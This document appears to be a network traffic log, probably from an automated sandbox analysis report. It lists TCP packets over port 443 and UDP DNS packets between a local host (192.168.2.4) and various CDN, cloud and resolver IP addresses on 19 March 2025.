Mar 19, 2025 10:46:45.949553967 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949575901 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949575901 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949588060 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949619055 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949625015 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949666023 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949685097 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949691057 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949704885 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949706078 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949743986 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949771881 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949778080 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949786901 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949790001 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949812889 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949817896 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949826956 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949839115 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949860096 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949875116 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949878931 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949898005 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949919939 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949959993 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.949964046 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.949971914 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.950012922 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.950035095 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.950072050 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.955141068 CET	49757	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:46:45.955161095 CET	443	49757	104.21.78.6	192.168.2.4
Mar 19, 2025 10:46:45.958302975 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.958334923 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.958440065 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.958811998 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.958832026 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.958939075 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.959013939 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.959024906 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.959237099 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.959250927 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.986879110 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.987431049 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.987510920 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.988110065 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.988110065 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.988387108 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.988487959 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:45.988727093 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:45.990966082 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.036319017 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.043659925 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.071616888 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.072916985 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.073868036 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.073868036 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.098345041 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.098372936 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:46:46.098436117 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.099451065 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.099458933 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.099550962 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.100992918 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.101036072 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:46:46.101272106 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.103090048 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.103111029 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:46:46.103183985 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.103194952 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.103266954 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.103275061 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:46:46.109263897 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.109297037 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:46:46.109379053 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.111208916 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.111222029 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:46:46.111747980 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.111788988 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.111973047 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.112845898 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.112860918 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.113720894 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.113740921 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:46:46.114097118 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.114327908 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.114340067 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:46:46.117471933 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.117496014 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:46:46.117666960 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.117968082 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.117983103 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:46:46.121140003 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.121171951 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:46:46.121287107 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.122693062 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.122709036 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:46:46.126471996 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.126554966 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.127556086 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.127815962 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.132641077 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:46:46.132693052 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.135431051 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.135684013 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:46:46.137113094 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:46:46.137165070 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.137386084 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.137434006 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.138209105 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.138442993 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:46:46.139200926 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.139503956 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.140748978 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:46:46.140831947 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.141540051 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:46:46.141776085 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.143604040 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.143852949 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:46:46.143855095 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:46:46.143925905 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.145231009 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.145450115 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:46:46.148044109 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:46:46.148335934 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.148348093 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:46:46.148468971 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.149333954 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.149583101 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:46:46.156759024 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:46:46.156816959 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.158354044 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.158639908 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:46:46.172883987 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.176775932 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.188636065 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:46:46.188658953 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:46:46.188674927 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.188682079 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:46:46.188983917 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:46:46.204478025 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:46:46.204482079 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:46:46.220323086 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.356633902 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.357831955 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.357872963 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.358488083 CET	49762	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.358506918 CET	443	49762	23.192.153.175	192.168.2.4
Mar 19, 2025 10:46:46.387290001 CET	49761	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:46:46.387324095 CET	443	49761	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:00.064955950 CET	443	49760	104.17.24.14	192.168.2.4
Mar 19, 2025 10:47:00.065151930 CET	443	49760	104.17.24.14	192.168.2.4
Mar 19, 2025 10:47:00.065198898 CET	443	49758	104.21.78.6	192.168.2.4
Mar 19, 2025 10:47:00.065212011 CET	49760	443	192.168.2.4	104.17.24.14
Mar 19, 2025 10:47:00.065296888 CET	443	49758	104.21.78.6	192.168.2.4
Mar 19, 2025 10:47:00.065345049 CET	49758	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:47:01.136612892 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:47:01.136677027 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:47:01.136739016 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:47:01.141355038 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:47:01.141470909 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:47:01.141571999 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:47:01.920893908 CET	49770	443	192.168.2.4	104.18.10.213
Mar 19, 2025 10:47:01.920934916 CET	443	49770	104.18.10.213	192.168.2.4
Mar 19, 2025 10:47:01.920980930 CET	49760	443	192.168.2.4	104.17.24.14
Mar 19, 2025 10:47:01.920981884 CET	49758	443	192.168.2.4	104.21.78.6
Mar 19, 2025 10:47:01.921020031 CET	443	49758	104.21.78.6	192.168.2.4
Mar 19, 2025 10:47:01.921024084 CET	443	49760	104.17.24.14	192.168.2.4
Mar 19, 2025 10:47:01.921176910 CET	49769	443	192.168.2.4	104.17.209.240
Mar 19, 2025 10:47:01.921184063 CET	443	49769	104.17.209.240	192.168.2.4
Mar 19, 2025 10:47:05.134875059 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:05.135116100 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:05.135169029 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:47:05.140238047 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:47:05.140301943 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:47:05.140377045 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:47:05.142906904 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:05.142973900 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:05.143052101 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:47:05.935889959 CET	49765	443	192.168.2.4	23.206.20.104
Mar 19, 2025 10:47:05.935890913 CET	49767	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:47:05.935924053 CET	443	49765	23.206.20.104	192.168.2.4
Mar 19, 2025 10:47:05.935925007 CET	443	49767	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:05.935951948 CET	49764	443	192.168.2.4	23.192.153.175
Mar 19, 2025 10:47:05.935980082 CET	443	49764	23.192.153.175	192.168.2.4
Mar 19, 2025 10:47:16.133295059 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:47:16.133383036 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:47:16.133430958 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:47:17.920088053 CET	49768	443	192.168.2.4	13.32.99.41
Mar 19, 2025 10:47:17.920114040 CET	443	49768	13.32.99.41	192.168.2.4
Mar 19, 2025 10:47:20.123322010 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:20.123373032 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:20.123619080 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:20.123821974 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:20.123836994 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:20.154203892 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:20.154541969 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:20.196331024 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:25.746046066 CET	49742	80	192.168.2.4	172.217.16.195
Mar 19, 2025 10:47:25.751256943 CET	80	49742	172.217.16.195	192.168.2.4
Mar 19, 2025 10:47:25.751300097 CET	49742	80	192.168.2.4	172.217.16.195
Mar 19, 2025 10:47:30.121294022 CET	49759	443	192.168.2.4	151.101.130.137
Mar 19, 2025 10:47:30.121305943 CET	443	49759	151.101.130.137	192.168.2.4
Mar 19, 2025 10:47:30.148587942 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:30.148659945 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:30.148710012 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:31.136986017 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:47:31.137011051 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:47:31.152595997 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:47:31.152616978 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:47:31.919713974 CET	49775	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:47:31.919742107 CET	443	49775	142.250.186.100	192.168.2.4
Mar 19, 2025 10:47:44.152992964 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.153048038 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.153162956 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.153949022 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.153969049 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.162727118 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.162766933 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.163904905 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.163904905 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.163938999 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.200880051 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.200952053 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.201491117 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.201499939 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.201762915 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.202052116 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.212673903 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.212929964 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.213218927 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.213224888 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.213526011 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.213757992 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.248317003 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.260317087 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.366719007 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.367055893 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.367101908 CET	443	49784	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.367151976 CET	49784	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.367904902 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.367948055 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.368029118 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.368213892 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.368223906 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.383080959 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.383625984 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.383703947 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.383747101 CET	443	49785	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.383769989 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.383853912 CET	49785	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.384692907 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.384733915 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.384859085 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.385078907 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.385094881 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.395330906 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.395414114 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.396245003 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.396538973 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.397002935 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.416573048 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.416879892 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.417093039 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.417103052 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.444319963 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.563529015 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.563843966 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.563891888 CET	443	49786	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.563947916 CET	49786	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.589512110 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.589829922 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:44.589881897 CET	443	49787	35.190.80.1	192.168.2.4
Mar 19, 2025 10:47:44.589935064 CET	49787	443	192.168.2.4	35.190.80.1
Mar 19, 2025 10:47:45.919521093 CET	49759	443	192.168.2.4	151.101.130.137
Mar 19, 2025 10:47:45.919642925 CET	443	49759	151.101.130.137	192.168.2.4
Mar 19, 2025 10:47:45.919708967 CET	49759	443	192.168.2.4	151.101.130.137
Mar 19, 2025 10:47:47.919383049 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:47:47.919411898 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:47:47.919506073 CET	443	49763	151.101.195.52	192.168.2.4
Mar 19, 2025 10:47:47.919514894 CET	443	49766	151.101.193.40	192.168.2.4
Mar 19, 2025 10:47:47.919600010 CET	49766	443	192.168.2.4	151.101.193.40
Mar 19, 2025 10:47:47.919600964 CET	49763	443	192.168.2.4	151.101.195.52
Mar 19, 2025 10:48:20.184465885 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:20.184519053 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:20.184607983 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:20.184792042 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:20.184803963 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:20.218219042 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:20.218583107 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:20.264328003 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:30.233737946 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:30.233824015 CET	443	49792	142.250.186.100	192.168.2.4
Mar 19, 2025 10:48:30.233874083 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:31.919951916 CET	49792	443	192.168.2.4	142.250.186.100
Mar 19, 2025 10:48:31.919995070 CET	443	49792	142.250.186.100	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 10:46:15.806801081 CET	53	64283	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:15.852727890 CET	53	60386	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:16.001504898 CET	53	56674	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:20.061232090 CET	52970	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:20.061551094 CET	51201	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:20.069067001 CET	53	52970	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:20.069789886 CET	53	51201	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:20.763622046 CET	55672	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:20.763988018 CET	55261	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:20.814378023 CET	53	55672	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:20.829822063 CET	53	55261	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.019957066 CET	62316	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.019957066 CET	61414	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.020400047 CET	51321	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.020754099 CET	52479	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.021179914 CET	56504	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.021442890 CET	64679	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.026631117 CET	53	62316	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.026762962 CET	53	61414	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.027034998 CET	53	51321	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.027512074 CET	53	52479	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.027784109 CET	53	56504	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.028547049 CET	53	64679	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.363806963 CET	57821	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.363950968 CET	64569	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.371958971 CET	53	57821	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.407006025 CET	53	64569	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.588288069 CET	49646	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.588444948 CET	63448	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:22.596072912 CET	53	49646	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:22.596127987 CET	53	63448	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:33.120898008 CET	53	52837	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:42.123136044 CET	59302	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:42.123343945 CET	64548	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:42.170234919 CET	53	64548	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:42.224531889 CET	53	59302	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:43.141165018 CET	56769	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:43.144330978 CET	56107	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:43.207508087 CET	53	56107	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:43.217308044 CET	53	56769	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:43.614725113 CET	63874	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:43.615065098 CET	59350	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:43.625648975 CET	53	63874	1.1.1.1	192.168.2.4
